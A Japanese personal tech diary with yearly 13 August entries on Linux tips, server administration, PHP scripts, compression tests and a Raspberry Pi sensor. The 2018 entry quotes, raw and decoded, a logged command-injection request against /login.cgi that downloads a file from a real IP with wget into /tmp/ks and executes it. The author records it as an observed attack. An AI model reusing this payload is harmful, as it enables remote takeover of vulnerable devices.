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屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-08-13(Sat) at atami

~

$PATH に入れてもダメみたい。$HOME とは違い、実行はできても which で 探してくれないようだ(bash)。

~/some_dir$ echo $HOME
/home/user/some_dir
~/some_dir$ echo ~
/home/user/some_dir
 
~/some_dir$ ls foo.sh
foo.sh
~/some_dir$ foo.sh
bash: foo.sh: command not found
~/some_dir$ PATH=$PATH:~/some_dir
~/some_dir$ foo.sh
foo
~/some_dir$ which foo.sh 
which: no foo.sh in (ry
 
~/some_dir$ PATH=$PATH:$HOME/some_dir
~/some_dir$ which foo.sh
/home/user/some_dir/foo.sh

ノートの外付け

キーボードを FKB8579-USB から HHK ( PD-KB02)に変えた。 FKBはこれまでiMacと奪い合いながら使っていたのだ。
持っているHHKの古い方で、わりとソフトタッチ。接続に ATC-USBPS2を使った。活線挿抜がいまいちな気もした。usbhidを リロード。キー入力の度にLEDちかちか。

f4l

# dpkg --unpack f4l._02-1_i386.deb
(Reading database ... 66658 files and directories currently installed.)
Preparing to replace f4l 0.2-1 (using f4l_0.2-1_i386.deb) ...
Unpacking replacement f4l ...
 
# dpkg --configre f4l
dpkg: dependency problems prevent configuration of f4l:
 f4l depends on libgcc1 (>= 1:4.0.0-9); however:
  Version of libgcc1 on system is 1:3.4.3-13.
 f4l depends on libqt3c102-mt (>= 3:3.3.4); however:
  Package libqt3c102-mt is not installed.
 f4l depends on libqt3c102-mt (>= 3:3.3.4-3); however:
  Package libqt3c102-mt is not installed.
 f4l depends on libxrender1 (>= 1:0.9.0-2); however:
  Version of libxrender1 on system is 0.8.3-7.
dpkg: error processing f4l (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 f4l

うーむ。debianパッケージを貰ってはきたが、今のところ他を選んだ方が よさげ、か?

ムーンライトながら

熱海で乗り込んだものの、ずっと鮨詰だった。辟易して6時前に下車。 次の電車で大垣まで熟睡。
東京大阪間の18切符は、行きに9時間、帰りに12時間かかった。

AirH & ssh

で鯖にリモートログインしてtdiaryへ。
多分大垣まで逝けそうだ。


2006-08-13(Sun) 俺だけじゃない

配線整理と撮影

鯖など一覧

鯖移転のついでに、載せていた写真を貼り変え、 文章も少し変えることにする。HTML自体の 進歩はゼロだけど。

そのために部屋の埃を払い、配線を束ね直したり、 使ってないLANケーブルなどを取り除いたりする。
いくらやっても、ごちゃついた感じはさほど変らない。

手前のPCが新鯖。
遂に棚に収まらなくなった。

xoopscubeとhttps

やはり80/tcpを塞がれると(インストールしたての状態では)、 たとえ管理画面であっても、まともに動作できないようだった。
ログインしようとしても、"接続がタイムアウトしました"

httpsでトップページにアクセスしてみた。Wiresharkで 見ながらログインしてみる。ユーザ名とパスワードは エンコードさえしていない。
"uname=$USER&pass=$PASSWORD&xoops_redirect=%2Fxoopscube%2f&op=login" といった調子である。
なんとかならんもんかの。

設定を見直して、ログインだけはsslで隠蔽できるようには、なった。
SSLログインを有効にした上で、ログインに使われるスクリプトを指定して、 トップページからは"SSL"という文字をつつき、新しく開いた画面の、 中央の(左端でない)ログイン画面から入ればいいようだ。

でも管理者オペレーションの、だだ洩れは変らない。新規ユーザを作ってみたが、 こっちはsslで送信できるのだろうか(まだ見当たらない)。 今度はパスワード以外にメールアドレスなど 俗にいう個人情報とかも流れる筈なんだけど。

と、考えながら 公式サイトをみたりぐぐったりしているうちに、 「どこでもSSL」なるモジュール に気づく。
後で料理しようか。


2007-08-13(Mon) あせだく

やっと出るものが出た。

端末からHyperEstraier。 ユーザガイドと睨めっこ。

$ estcmd search -vh -ic euc-jp $DB $KEYWORD
(ry

とか。
デフォルトでUTF-8だった。

適当にキーワードを入れて遊ぶ。
ところで、迷惑メールもインデックスに加えるべきか否か。


2008-08-13(Wed) 曇ってる、みたい

spamフィルタ

ちょっとキツ過ぎたらしいので(謂れなく没になったコメントあり)、これ書いてからチェックする。

コメントできることを確認。
現在のspam判定基準は"^http"と"href"、そしてURLの数が3つ以上、そして URLが文字列の70%以上である。
トラックバックは、依然として事実上禁止。

本日のツッコミ(全1件) [ツッコミを入れる]

kuzu [ http://www.kuzuore.com が、ちゃんと記入できるかを試してみた。 なんかみっともない気もするが..]


2009-08-13(Thu) え、雨なの?

Webが落ちた

ディスクアクセスがひどく、日記更新ができないことに気づいた。
ログインがやっとだったので、ルータで外部からの接続を遮断し、躊躇なく再起動。
しばらくfsckが続いていたらしい。ダウンタイムざっと55分。

twittering-mode

で少し遊ぶ。
*scratch*でもげもげして、C-x C-e 。

 sato_makoto,  about 1 hour ago:
  網の鯖が落ちた // from twittering-mode [自宅]

twittering-mode のデフォルトはこんな感じだったが、

(setq twittering-status-format "* %@:\n「%t」                                                            
と、%l にいる %s は %f につぶやいた。\n")

を評価すると、

* about 1 hour ago:
「網の鯖が落ちた」
と、自宅 にいる sato_makototwittering-mode につぶやいた。
 

2011-08-13(Sat) 今日も暑そう

どうしてphp(1)で、なんてどうでもいい

LFS book(XMLドキュメント)から、ユーザーのコマンドライン入力行を 抜き出すスクリプトを書いてみた。

<?php
$src = file_get_contents($argv[1]);
$xml = simplexml_load_string($src);
 
foreach ($xml->sect2 as $sect2) {
        foreach ($sect2->screen as $sc) {
                print "{$sc->userinput}\n";
        }
}
?>

以下、LFS Book(SVN-20110807)の6.37(Perl-5.14.1)より。

$ php userinput.php BOOK/chapter06/perl.xml 
echo "127.0.0.1 localhost $(hostname)" > /etc/hosts sed -i -e "s|BUILD_ZLIB\s*= True|BUILD_ZLIB = False|" \ -e "s|INCLUDE\s*= ./zlib-src|INCLUDE = /usr/include|" \ -e "s|LIB\s*= ./zlib-src|LIB = /usr/lib|" \ cpan/Compress-Raw-Zlib/config.in sh Configure -des -Dprefix=/usr \ -Dvendorprefix=/usr \ -Dman1dir=/usr/share/man/man1 \ -Dman3dir=/usr/share/man/man3 \ -Dpager="/usr/bin/less -isR" \ -Duseshrplib make make test make install

CUIなスクリプト言語としてのPHP

php(1)は、使い方によっては、かなり便利かもしれない。

<?php
foreach ($argv as $key => $option) {
	print $key . " is ". $option. "\n";
}
?>
$ php cmd.php foo bar baz
0 is cmd.php
1 is foo
2 is bar
3 is baz

2018-08-13(Mon) 依然として真夏

ちょっとwebサイトを開けていたら

もう変なのが来た。

156.213.228.156 - - [12/Aug/2018:23:16:13 +0000]
 "GET /login.cgi?cli=aa%20aa%27;wget%20
  http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;
  chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

5年前の日付のスクリプトでデコードすると、

156.213.228.156 - - [12/Aug/2018:23:16:13  0000]
 "GET /login.cgi?cli=aa aa';
  wget http://212.237.32.62/k -O -> /tmp/ks;
  chmod 777 /tmp/ks;
  sh /tmp/ks'
$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

アクセス先がどこか、なんてのは、先方にはどうせ丸わかりだから、 日時隠蔽は省略。

移行テスト

WordPressのフロントエンド(php,css,etc)とバックエンド(mariadb) を別のFQDNの別のホストに移す。

プラグインやテーマはどうか知らないが、フロントエンドには、 ドメイン名は埋め込まれていない模様。
バックエンドは dumpして、ドメイン名を一括置換(ちょっと 乱暴な気もした)。
新規ホストにて、データベースとユーザを作成したら リストア。

$ sudo mysqldump -u root -p -h localhost WP_DB  > WP.dump
 
$ sed -i 's/OLDDMAIN/NEWDOMAIN/g' WP.dump
 
$ sudo mysql -u root -p  WP_DB  < WP.dump

apache2のconfigもドメイン名を変えて順次移す。
あと、MariaとWordPressの連携のためにいくつか。


2019-08-13(Tue) 祝祭日でない休みの一日目

zstd

知るのが遅かったが、早くてもどうということはなさげ。
junk フォルダをtarでアーカイブし、圧縮してみる。
単にアーカイブしただけのtarを除き、最大の圧縮率になる オプションを付与。

$ find junk -type f | wc -l
38
$ du -h junk | tail -n1
3.7M    junk
$ tar cf j.tar junk
 
$ zstd -19 -zc j.tar.zst
$ ls -alFh j.*
-rw-r--r-- 1 user group 5.6M  8月 13 07:26 j.tar
-rw-r--r-- 1 user group 1.4M  8月 13 07:30 j.tar.bz2
-rw-r--r-- 1 user group 1.7M  8月 13 07:30 j.tar.gz
-rw-r--r-- 1 user group 853K  8月 13 07:31 j.tar.xz
-rw-r--r-- 1 user group 967K  8月 13 07:34 j.tar.zst

デフォルトではgzip(--bestを付けても付けなくても同じようだ)と あまり変わらなかった。目一杯圧縮率をあげてやると、やはり少し 遅くなった。

$ time zstd -zc j.tar >/dev/null
j.tar  : 29.28%   (5836800 => 1708990 bytes, /*stdout*\)
 
real    0m0.101s
user    0m0.096s
sys     0m0.000s
$ time zstd -19 -zc j.tar >/dev/null
j.tar  : 16.96%   (5836800 => 989747 bytes, /*stdout*\)
 
real    0m2.267s
user    0m2.212s
sys     0m0.048s

2021-08-13(Fri) 日付が変わる前にいきなり

これも放置していた超音波距離センサー

distance meter

てけとうに検索して、 参考にしたページ。

例によって 汚くZeroに 繋ぐ。配線があっちこっちに飛ぶのが面倒なので GPIOは適当に変えた。
面倒なので配線の色もありあわせで。

RaspberryPi Zero                                 adafruit 4007
GND        (Physical pin  9)  -----(Brown)--------   GND
GPIO BCM 17(Physical pin 11)  -----(Red)----------   Trig
GPIO BCM 27(Physical pin 13)  -----(Tangerine)----   ECHO
 
3.3V       (Physical Pin 15)  -----(Yellow)-------   VCC

GPIO Pinの方向(ピンの物理番号の若い方はMicroSD側)を間違えて 刺してしまったことに、通電してから気づく。
幸い、壊れるような電流は流れなかったらしい。

手をかざして、サンプルソースを実行。

$ sudo python3 ultrasonic_distance.py 
/usr/lib/python3/dist-packages/gpiozero/input_devices.py:856:
 PWMSoftwareFallback: For more accurate readings, use
 the pigpio pin factory.See
 https://gpiozero.readthedocs.io/en/stable/api_input.html#distancesensor-hc-sr04 for more info
  'For more accurate readings, use the pigpio pin factory.'
Press CTRL-C to exit.
 
Distance sensor read 17.6 cm.
Distance sensor read 18.0 cm.
Distance sensor read 31.0 cm.(遠ざけた)
Distance sensor read 30.7 cm.
Distance sensor read 10.5 cm.(近づけた)
Distance sensor read 10.2 cm.
^CTraceback (most recent call last):
  File "ultrasonic_distance.py", line 8, in 
    sleep(1)
KeyboardInterrupt

エラーメッセージが気になるが、ともかく動いたと。


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